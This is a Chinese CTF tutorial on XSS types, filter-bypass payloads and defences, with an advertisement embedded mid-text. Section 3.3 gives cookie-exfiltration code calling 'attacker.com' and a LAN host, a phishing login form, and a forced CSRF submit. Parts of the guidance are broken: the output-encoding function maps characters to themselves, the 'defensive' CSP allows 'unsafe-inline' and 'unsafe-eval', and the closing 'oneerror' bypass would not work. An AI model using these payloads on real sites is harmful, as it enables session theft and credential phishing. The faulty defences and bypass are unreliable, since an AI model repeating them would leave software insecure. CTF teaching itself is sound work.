1. 为什么XSS是CTF Web赛道的必考题型
在各类CTF竞赛中,XSS(跨站脚本攻击)长期占据Web安全题型出现频率Top3。根据2023年CTFtime赛事统计,约67%的Web类赛题至少包含一个XSS攻击面。这种攻击之所以成为出题人偏爱,主要源于三个特性:
首先,XSS完美契合CTF"找漏洞-利用漏洞"的核心逻辑。与SQL注入等需要复杂回显的漏洞不同,XSS的验证方式直观——只要能弹出alert框就算成功,这降低了判题系统的实现难度。去年红明谷CTF中一道DOM型XSS题,仅需构造<img src=x onerror=alert(1)>就能拿到flag,这种即时反馈很受选手欢迎。
其次,XSS的变体足够丰富。从传统的反射型、存储型到刁钻的DOM型,从简单的弹窗到复杂的CORS绕过,出题人可以灵活设置难度梯度。比如BuuCTF的XSS Course系列就设计了六道渐进式题目,从基础payload构造一直升级到利用XSS窃取管理员cookie。
最重要的是,XSS能与其他漏洞形成组合拳。在真实渗透测试中,XSS很少单独存在,它可能配合CSRF完成权限提升,或作为突破口触发SSRF。去年某企业级CTF就设置了一个场景:先通过XSS获取内网IP,再利用SSRF攻击内部Jenkins系统。这种复合型题目能全面考察选手的实战能力。
提示:新手建议从DVWA或Pikachu靶场的XSS模块开始练习,这些环境已经预设了从Low到Impossible的难度级别,适合循序渐进掌握攻击技巧。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. XSS攻击的三种核心形态解析
2.1 反射型XSS:最基础的攻击模式
反射型XSS的本质是服务端未对用户输入做过滤,直接将恶意脚本反射到HTML页面中。其攻击流程典型如下:
- 攻击者构造含恶意脚本的URL:
http://victim.com/search?q=<script>alert(1)</script> - 诱骗受害者点击该链接
- 服务端返回的HTML中包含原始恶意代码
- 浏览器执行脚本
在CTF中,这类题目常出现在搜索框、错误消息等场景。例如某次校赛题目:
html复制<!-- 服务端代码片段 -->
<p>您搜索的"<?php echo $_GET['keyword']; ?>"不存在</p>
解题只需提交keyword=<script>alert(document.cookie)</script>即可触发。
2.2 存储型XSS:持久化的威胁
与反射型不同,存储型XSS会将恶意脚本永久保存在服务端(如数据库),任何访问相关页面的用户都会受影响。典型的攻击路径:
- 攻击者在论坛发帖包含
<script>...</script> - 帖子被存入数据库
- 其他用户浏览该帖子时自动执行脚本
去年某CTF的一道题模拟了博客评论系统:
javascript复制// 伪代码展示漏洞点
app.post('/comment', (req, res) => {
db.save(req.body.content) // 直接存储未过滤
res.send('评论成功')
})
利用时需要在评论中插入XSS payload,当管理员查看后台时即可触发。
2.3 DOM型XSS:纯前端的艺术
DOM型XSS的特殊之处在于漏洞完全在客户端触发,不依赖服务端响应。其核心原理是JavaScript不安全地操作DOM。看一个典型漏洞代码:
javascript复制let search = document.getElementById('search').value
document.write("您搜索: " + search) // 危险操作
攻击者可以构造URL片段#search=<img src=x onerror=alert(1)>来利用。这类题目在CTF中往往需要分析前端JS代码,比如:
javascript复制// 来自某次比赛题目的关键代码
const flag = 'CTF{hidden_flag}'
const params = new URLSearchParams(location.hash.slice(1))
if(params.get('admin') === 'true'){
document.body.innerHTML += flag // 危险操作
}
解题思路是通过XSS控制location.hash,注入#admin=true等参数。
3. CTF中的XSS实战技巧手册
3.1 基础Payload变形术
现代WAF通常会拦截<script>等明显标签,这时需要灵活变形:
html复制<!-- 大小写混淆 -->
<sCript>alert(1)</scRipt>
<!-- 利用HTML实体编码 -->
<img src=x onerror="alert(1)">
<!-- SVG矢量图形标签 -->
<svg/onload=alert(1)>
<!-- 伪协议 -->
<a href="javascript:alert(1)">click</a>
在最近一道CTF题中,过滤了alert但允许prompt,此时可以用prompt(1)替代。
3.2 绕过过滤的奇技淫巧
当遇到更严格的过滤时,可以尝试这些方法:
字符拼接法:
javascript复制// 原始payload被过滤
alert(1)
// 拆分为字符串拼接
eval('al' + 'ert(1)')
Unicode逃逸:
javascript复制// 利用转义字符
\u0061\u006c\u0065\u0072\u0074(1)
// 利用String.fromCharCode
[].constructor.constructor(String.fromCharCode(97,108,101,114,116,40,49,41))()
HTML5新特性:
html复制<!-- 使用details标签的ontoggle事件 -->
<details open ontoggle=alert(1)>
<!-- 使用iframe的srcdoc属性 -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>
3.3 进阶利用:窃取数据与权限提升
真正的CTF高手不会满足于弹窗,而是要通过XSS实现更有价值的操作:
窃取Cookie:
javascript复制// 将cookie发送到攻击者服务器
fetch('http://attacker.com/steal?data=' + document.cookie)
// 在DVWA靶场中的实际应用
new Image().src='http://192.168.1.100:9999/?cookie='+escape(document.cookie)
界面伪装:
javascript复制// 伪造登录框钓鱼
document.body.innerHTML = `
<h1>Session Expired</h1>
<form action="http://attacker.com/phish">
<input type="password" name="pwd">
<button>Re-login</button>
</form>
`
结合CSRF:
javascript复制// 自动提交表单实现权限操作
let form = document.createElement('form')
form.method = 'POST'
form.action = '/admin/delete'
form.innerHTML = '<input name="id" value="1">'
document.body.appendChild(form)
form.submit()
4. 从CTF到实战:XSS防御的艺术
4.1 服务端防御方案
输入过滤:
php复制// PHP的htmlspecialchars过滤
$clean = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
// Node.js的xss库
const filtered = xss(req.body.content);
输出编码:
javascript复制// 前端展示时的编码处理
function encodeHTML(s) {
return s.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
CSP策略:
http复制Content-Security-Policy:
default-src 'self';
script-src 'unsafe-inline' 'unsafe-eval';
style-src 'self' https://cdn.example.com;
4.2 前端防御技巧
安全的DOM操作:
javascript复制// 不安全的写法
document.getElementById('output').innerHTML = userInput
// 安全的替代方案
document.getElementById('output').textContent = userInput
事件处理防护:
javascript复制// 避免内联事件
<button onclick="doSomething()">危险</button>
// 改用事件监听
button.addEventListener('click', doSomething)
4.3 CTF出题人的防御绕过测试
作为CTF选手,了解防御手段是为了更好地绕过它们。常见的测试方法包括:
- 探测过滤规则:先提交
<b>test</b>测试基础HTML是否允许 - 尝试编码绕过:用
<script>等HTML实体测试解码逻辑 - 检查CSP限制:通过浏览器控制台查看CSP报错信息
- DOM断点调试:在Chrome DevTools中设置DOM修改断点
在某次真实CTF比赛中,出题人设置了如下过滤:
javascript复制function sanitize(input) {
return input.replace(/script/gi, '')
.replace(/on\w+=/gi, '')
}
最终绕过方案是使用<img src=x oneerror=alert(1)>(注意是"oneerror"而非"onerror")
